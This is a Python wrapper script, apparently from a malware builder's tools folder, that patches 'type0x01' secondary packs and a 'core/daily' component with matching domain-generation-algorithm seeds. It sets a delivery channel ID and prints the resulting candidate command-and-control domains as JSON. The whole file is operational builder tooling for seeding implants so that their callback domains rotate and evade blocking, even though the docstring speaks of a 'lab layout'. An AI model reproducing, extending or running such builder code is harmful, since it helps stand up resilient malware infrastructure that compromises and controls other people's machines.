130 lines
3.7 KiB
Python
130 lines
3.7 KiB
Python
#!/usr/bin/env python3
|
|
"""Convenience wrapper: DGA seed patch for secondary + core (legacy / local use).
|
|
|
|
Prefer ``new_project.py --artifact-root …`` for the shared lab layout.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
import secrets
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
from _channel_patch import gen_channel_id, validate_channel_id
|
|
from _common import ORIGINAL_CORE_CHANNEL_ID
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
BUILDER_ROOT = TOOLS.parent
|
|
|
|
|
|
def gen_seed() -> str:
|
|
return secrets.token_hex(16)
|
|
|
|
|
|
def run(cmd: list[str]) -> None:
|
|
print("+", " ".join(cmd), flush=True)
|
|
subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description="Patch type0x01 + core/daily with DGA seeds (no fixed-domain shellcode)."
|
|
)
|
|
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
|
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
|
parser.add_argument("--channel-id", help="delivery channel for type-0x01 (default: random)")
|
|
parser.add_argument(
|
|
"--root",
|
|
type=Path,
|
|
help="artifact root with sync/ + web/<channel>/ (required with --apply)",
|
|
)
|
|
parser.add_argument("--apply", action="store_true", help="write into --root")
|
|
parser.add_argument("-n", "--count", type=int, default=5, help="DGA candidates to print")
|
|
parser.add_argument(
|
|
"--shared-layout",
|
|
action="store_true",
|
|
default=True,
|
|
help="use shared sync/ + web/<channel>/ (default: on)",
|
|
)
|
|
parser.add_argument(
|
|
"--no-shared-layout",
|
|
action="store_false",
|
|
dest="shared_layout",
|
|
help="legacy isolated root/web + root/sync",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
if args.apply and not args.root:
|
|
raise SystemExit("--apply requires --root")
|
|
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
|
|
if args.deployment_seed and args.reporting_seed and args.deployment_seed != args.reporting_seed:
|
|
raise SystemExit("deployment and reporting seeds must match")
|
|
dep = args.deployment_seed or args.reporting_seed or gen_seed()
|
|
rep = dep
|
|
|
|
py = sys.executable or "python3"
|
|
root = ["--root", str(args.root.resolve())] if args.root else []
|
|
apply = ["--apply"] if args.apply else []
|
|
shared = ["--shared-layout"] if args.shared_layout else []
|
|
|
|
print("=== patch_all (dga) ===")
|
|
print(f"channel={channel} dep={dep} rep={rep}")
|
|
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_secondary_packs.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"--channel-id",
|
|
channel,
|
|
*shared,
|
|
*root,
|
|
*apply,
|
|
]
|
|
)
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_core.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"--channel-id",
|
|
ORIGINAL_CORE_CHANNEL_ID,
|
|
*shared,
|
|
*root,
|
|
*apply,
|
|
]
|
|
)
|
|
result = subprocess.run(
|
|
[
|
|
py,
|
|
str(TOOLS / "compute_dga_domains.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"-n",
|
|
str(args.count),
|
|
"--json",
|
|
],
|
|
cwd=str(BUILDER_ROOT),
|
|
check=True,
|
|
capture_output=True,
|
|
text=True,
|
|
)
|
|
domains = json.loads(result.stdout)
|
|
print(json.dumps({"channel_id": channel, "seeds": {"deployment_seed": dep, "reporting_seed": rep}, "domains": domains}, indent=2))
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|